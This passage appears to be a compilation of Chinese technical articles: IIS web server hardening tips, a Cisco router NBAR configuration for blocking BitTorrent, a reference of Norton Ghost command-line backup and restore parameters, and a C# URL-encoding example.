9. 禁用TCP/IP协议中的NetBIOS:
这是残忍的。很多用户希望通过UNC路径名访问Web服务器。随着NETBIOS被禁用,他们便不能这么做了。另一方面,随着NETBIOS 被禁用,黑客就不能看到你局域网上的资源了。这是一把双刃剑,如果网络管理员部署了这个工具,下一步便是如何教育Web用户如何在NETBIOS失效的情 况下发布信息。
10. 使用TCP端口阻塞:
这是另一个残忍的工具。如果你熟悉每个通过合法原因访问你服务器的TCP端口,那么你可以进入你网络接口卡的属性选项卡,选择绑定的 TCP/IP协议,阻塞所有你不需要的端口。你必须小心的使用这一工具,因为你并不希望将自己锁在Web服务器之外,特别是在当你需要远程登陆服务器的情 况下。
11. 仔细检查*.bat和*.exe 文件: 每周搜索一次*.bat
和*.exe文件,检查服务器上是否存在黑客最喜欢,而对你来说将是一场恶梦的可执行文件。在这些破坏性的文件中,也许有一些是*.reg文 件。如果你右击并选择编辑,你可以发现黑客已经制造并能让他们能进入你系统的注册表文件。你可以删除这些没任何意义但却会给入侵者带来便利的主键。
12. 管理IIS目录安全:
IIS目录安全允许你拒绝特定的IP地址、子网甚至是域名。作为选择,我选择了一个被称作WhosOn的软件,它让我能够了解哪些IP地址正 在试图访问服务器上的特定文件。WhosOn列出了一系列的异常。如果你发现一个家伙正在试图访问你的cmd.exe,你可以选择拒绝这个用户访问Web 服务器。当然,在一个繁忙的Web站点,这可能需要一个全职的员工!然而,在内部网,这真的是一个非常有用的工具。你可以对所有局域网内部用户提供资源, 也可以对特定的用户提供。
13. 使用NTFS安全:
缺省地,你的NTFS驱动器使用的是EVERYONE/完全控制权限,除非你手工关掉它们。关键是不要把自己锁定在外,不同的人需要不同的权 限,管理员需要完全控制,后台管理账户也需要完全控制,系统和服务各自需要一种级别的访问权限,取决于不同的文件。最重要的文件夹是System32,这 个文件夹的访问权限越小越好。在Web服务器上使用NTFS权限能帮助你保护重要的文件和应用程序。
14.管理用户账户:
如果你已经安装IIS,你可能产生了一个TSInternetUser账户。除非你真正需要这个账户,否则你应该禁用它。这个用户很容易被渗透,是黑客们的显著目标。为了帮助管理用户账户,确定你的本地安全策略没有问题。IUSR用户的权限也应该尽可能的小。
15. 审计你的Web服务器:
审计对你计算机的性能有着较大的影响,因此如果你不经常察看的话,还是不要做审计了。如果你真的能用到它,请审计系统事件并在你需要的时候加 入审计工具。如果你正在使用前面提到的WhosOn工具,审计就不那么重要了。缺省地,IIS总是纪录访问, WhosOn 会将这些纪录放置在一个非常容易易读的数据库中,你可以通过Access或是 Excel打开它。如果你经常察看异常数据库,你能在任何时候找到服务器的脆弱点。
总结
上述所有IIS技巧和工具(除了WhosOn以外)都是Windows自带的。不要忘记在测试你网站可达性之前一个一个的使用这些技巧和工具。如果它们一起被部署,结果可能让你损失惨重,你可能需要重启,从而遗失访问。
最后的技巧: 登陆你的Web服务器并在命令行下运行netstat -an。观察有多少IP地址正尝试和你的端口建立连接,然后你将有一大堆的调查和研究要做了。
cisco路由上封BT方法比较及分析
最近为了封BT,几乎把NBO的网络论坛找遍了,用NBAR (Network-Based Application Recognition)网络应用识别
NBAR是一种动态能在四到七层寻找协议的技术,它不但能做到普通ACL能做到那样控制静态的TCP UDP的报,也能做到控制一般ACLs不能做到动态的端口的那些协议(如BT)之类.
我就说说过程:
1到http://www.cisco.com/pcgi-bin/tablebuild.pl/pdlm 下载bittorrent.pdlm,(要CCO的)
2放到TFTP,然后用copy tftp disk2(大多数应该是flash)
拷到路由器中,
route7206#conf t
Enter configuration commands, one per line. End with CNTL/Z.
route7206(config)#ip nbar pdlm bittorrent.pdlm
route7206(config)#
!
ip nbar pdlm bittorrent.pdlm
!
1.) 创建一个 a class-map and policy map 并且把它应用到相应的端口:
得到关于BT的部分是
class-map match-all bittorrent
match protocol bittorrent
!
!
policy-map bittorrent-policy
class bittorrent
drop
!
interface GigabitEthernet0/2
description CONNECT INSIDE
ip address 192.168.168.1 255.255.255.252 secondary
ip address 192.168.21.1 255.255.255.0
ip nat inside
service-policy input bittorrent-policy
service-policy output bittorrent-policy
duplex full
speed 1000
media-type rj45
no negotiation auto
我实验了一下,这样的话,BT就不能下载,呵呵
感觉目前这样的技术比较好,我正在实验去掉EMULE的方法.
QQ:7581276 MAIL:[email protected] [请转贴时保留我的EMAIL]
经典 Ghost完全应用技巧二十则
用过DOS的人对参数并不陌生,DOS下的很多程序都有参数,尽管是枯燥的英文字母,但功能却非常强大。Ghost是一个典型的支持参数的DOS程序,充分利用它的参数,我们可以更好地控制Ghost。让它们更好地为我们工作,前面几个例子,我们就使用了Ghost的参数做出了一张自动备份和恢复硬盘数据的自启动光盘。正是因为Ghost参数众多,功能强大,我们才有必要把一些最最常用的参数列出,供大家平时参考使用。
小提示
★参数(Parameter)是程序提供给我们一些隐藏选项,通过添加参数,可以实现正常启动程序无法实现或者能够实现,但需要很多步骤才能够实现的功能,可以给我们带来很多的方便。
★参数与程序、参数与参数之间用空格符分隔。
★我们可以把Ghost的参数写入到一些BAT文件中,并通过控制语句来用它更方便地克隆和恢复我们的系统。
1.磁盘对磁盘拷贝
图形界面: Disk To Disk
参数例子: ghost -clone,mode=copy,src=1,dst=2 -sure -fx
参数功能: 拷贝磁盘一的全部内容到磁盘二,不必询问,完成后退出Ghost。
2.把磁盘上的所有内容备份成映像文件
图形界面: Disk To Image
参数例子: ghost -clone,mode=dump,src=1,dst=d:\Win98sys.gho -z3 -sure -fx
参数功能: 备份机器第一块硬盘上的全部内容到另一台硬盘d:\Win98sys.gho文件中,高压缩,不必询问,完成后退出Ghost。
3.从备份的映像文件复原到磁盘
图形界面: Disk From Image
参数例子: ghost -clone,mode=load,src=d:\Win98sys.gho,dst=1 -sure -fx
参数功能: 从备份在另一块硬盘d:\Win98sys.gho的映像文件复原到第一块硬盘上,不必询问,完成后退出Ghost。
4.分区对分区拷贝
图形界面: Partition To Partition
参数例子: ghost -clone,mode=pcopy,src=1:1,dst=2:1 -sure -fx
参数功能: 拷贝第一块硬盘第一个分区上的所有内容到第二块硬盘的第一个分区上,不必询问,完成后退出Ghost。
5.把分区内容备份成映像文件
图形界面: Partition To Image
参数例子: ghost -clone,mode=pdump,src=1:1,dst=d:\Win98sys.gho -z9 -sure -fx
参数功能: 备份第一块硬盘第一分区到d:\Win98sys.gho,采用最高压缩率,不必询问,完成后退出Ghost。
6.从备份的映像文件克隆到分区
图形界面: Partition From Image
参数例子: ghost -clone,mode=pload,src=d:\Win98sys.gho:1,dst=1:1 -sure -fx
参数功能: 把d:\Win98sys.gho中的第一个分区内存克隆到第一块硬盘第一分区上,不必询问,完成后退出Ghost。
7.平行端口电缆线直接连接电脑客户机
图形界面: LPT/Slave
参数例子: ghost -lps
参数功能: 启动客户机 (两台电脑必须同时执行Ghost)。
8.平行端口电缆线直接连接服务机
图形界面: LPT/Master
参数例子: ghost -lpm -clone,mode=dump,src=1,dst=c:\Win98sys.gho -sure -fx
参数功能: 将服务机第一块硬盘上的内容备份到客户机c:\Win98sys.gho文件中,不必询问,完成后退出Ghost。
9.硬盘间直接克隆
参数例子:ghost -clone,mode=copy,src=1,dst=2 -sure
参数功能:在内部模式拷贝第一块硬盘到第二块硬盘,无需提示,直接克隆。
10.网络备份
参数例子:ghost -nbm -clone,mode=dump,src=2,dst=c:\xxxx.gho
参数功能:由NetBIOS模式连接到正在进行ghost\slave的网络远程个人电脑并备份本机第二块硬盘到远程硬盘C:\xxxx.gho成一映像压缩文件。
小提示
该远程客户机必须使用ghost -nbs命令来启动。
11.将映像文件克隆到硬盘
参数例子:ghost -clone,mode=load,src=e:\savdsk.gho,dst=1
参数功能:读入E:\SAVEDSK.gho文件,并把它克隆到第一块硬盘上。
12.将第二个分区备份为映像文件(还原)
参数例子:ghost -clone,mode=pdump,src=1:2,dst=g:\imgs\part2.gho
参数功能:备份第一块硬盘的第二分区到g:\imgs\part2.gho映像文件。
参数例子:ghost -clone,mode=pload,src=g:\imgs\part2.gho:2,dst=1:2
参数功能:载入(恢复)映像文件内的第二分区到内部硬盘第一块硬盘的第二分区。
13.不同硬盘不同分区复制
参数例子:ghost -clone,mode=pcopy,src=1:2,dst=2:1
参数功能:拷贝第一块硬盘的第二分区到第二块硬盘的第一分区。
14.还原到第二块硬盘并调整分区大小
参数例子:ghost -clone,mode=load,src=g:\imgs\2prtdisk.gho,dst=2,sze1=60P,sze2=40P
参数功能:克隆g:\imgs\2prtdisk.gho映像文件到第二块硬盘, 并重整按60%和40%大小分配分区大小。
15.还原到第一块硬盘并调整分区大小
参数例子:ghost -clone,mode=load,src=e:\imgs\3prtdisk.gho,dst=1,sze1=450M,sze2=1599M,sze3=2047M
参数功能:克隆e:\imgs\3prtdisk.gho映像文件到第一块硬盘, 并重整分区大小为: 第一分区450MB,第二分区1599MB,第三分区2047MB。
16.保留第一分区,其他不分配
参数例子:ghost -clone,mode=copy,src=1,dst=2,sze1=F,sze2=V,sze3=V
参数功能:拷贝有三个分区的第一块硬盘到第二块硬盘并保持第一分区与来源大小相同,但是其他分区所剩余空间保留不予分配。
17.还原到最后的分区并调整分区大小
参数例子:ghost -clone,mode=load,src=g:\imgs\2prtdisk.gho,dst=1,szeL
参数功能:载入映像文件到磁盘最后的分区并按照容量重整其大小,第一分区则利用剩余的空间。
18.从参数文件读取
参数例子:GHOST.EXE @(参数文件)
参数功能:GHOST命令行参数可从参数文件读取并执行(注意参数文件是文本格式的)。
小提示
参数文件中可以以文本格式编写包含任何Ghost命令行参数,除了-AFILE=和-DFILE= 参数外。
19.备份并自动分割
参数例子:ghost -sure -clone,mode=pdump,src=1:1,dst=system.gho -span -split=630
参数功能:它的作用是把第一块硬盘第一分区信息备份到当前文件夹下的system.gho中,如果生成的system.gho大于630MB,则会分割生成的GHO文件,这个参数在备份大的分区,并把它们烧录到650MB的CD-R上时非常有用。
20.备份并加密
参数例子:ghost -sure -pwd,666888 -clone,mode=pdump,src=1:1,dst=system.gho
参数功能:该语句的作用是把第一块硬盘第一分区信息备份到当前文件夹下的system.gho中,并且以666888作为生成后GHO文件的密码,以便加密。以后用Ghost恢复system.gho文件,或者用Ghost Explorer来释放其中的文件时,都必须输入密码,否则无法恢复或释放文件,从而起到了保密的作用。如果输入ghost -sure -pwd -clone,mode=pdump,src=1:1,dst=system.gho,即-pwd后面不带密码,则Ghost在制作GHO文件前会询问用户加密GHO的密码,你必须记牢。给GHO文件加密后,别人就无法随意查看或恢复我们的文件了。
C#中网址编码转换方法
在WAP中经常要遇到网址编码转换的问题,在ASP解决起来还是比较麻烦,但是在C#中做起来就容易多了,今天整理了一下,用ASP.NET做了一个例子,代码如下:
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
namespace study
{
/// <summary>
/// UrlEncode_ 的摘要说明。
/// </summary>
public class UrlEncode_ : System.Web.UI.Page
{
private void Page_Load(object sender, System.EventArgs e)
{
string strName="刘德华";
string strEncodeNameGB2312=System.Web.HttpUtility.UrlEncode(strName,System.Text.Encoding.GetEncoding("GB2312")).ToUpper();
string strDecodeGB2312=System.Web.HttpUtility.UrlDecode(strEncodeNameGB2312,System.Text.Encoding.GetEncoding("GB2312"));
//如果设定为默认编码则 System.Text.Encoding.Default
Response.Write( "网址编码过的文字(GB2312):"+ strEncodeNameGB2312 +"<br>" );
Response.Write( "经过解码的文字为(GB2312):"+ strDecodeGB2312 +"<p></p>" );
string strEncodeNameUTF8=System.Web.HttpUtility.UrlEncode(strName,System.Text.Encoding.GetEncoding("utf-8")).ToUpper();
string strDecodeUTF8=System.Web.HttpUtility.UrlDecode(strEncodeNameUTF8,System.Text.Encoding.GetEncoding("utf-8"));
Response.Write( "网址编码过的文字(UTF8):"+ strEncodeNameUTF8 +"<br>" );
Response.Write( "经过解码的文字为(UTF8):"+ strDecodeUTF8 +"<br>" );
}
#region Web 窗体设计器生成的代码
override protected void OnInit(EventArgs e)
{
//
// CODEGEN: 该调用是 ASP.NET Web 窗体设计器所必需的。
//
InitializeComponent();
base.OnInit(e);
}
/// <summary>
/// 设计器支持所需的方法 – 不要使用代码编辑器修改
/// 此方法的内容。
/// </summary>
private void InitializeComponent()
{
this.Load += new System.EventHandler(this.Page_Load);
}
#endregion
}
}
备注
GetEncoding 方法依赖于基础平台支持大部分代码页。但是,对于下列情况提供系统支持:默认编码,即在执行此方法的计算机的区域设置中指定的编码;Little- Endian Unicode (UTF-16LE);Big-Endian Unicode (UTF-16BE);Windows 操作系统 (windows-1252);UTF-7;UTF-8;ASCII 以及 GB18030(简体中文)。
详见MSDN:ms-help://MS.MSDNQTR.2003FEB.2052/cpref/html/frlrfsystemtextencodingclassgetencodingtopic2.htm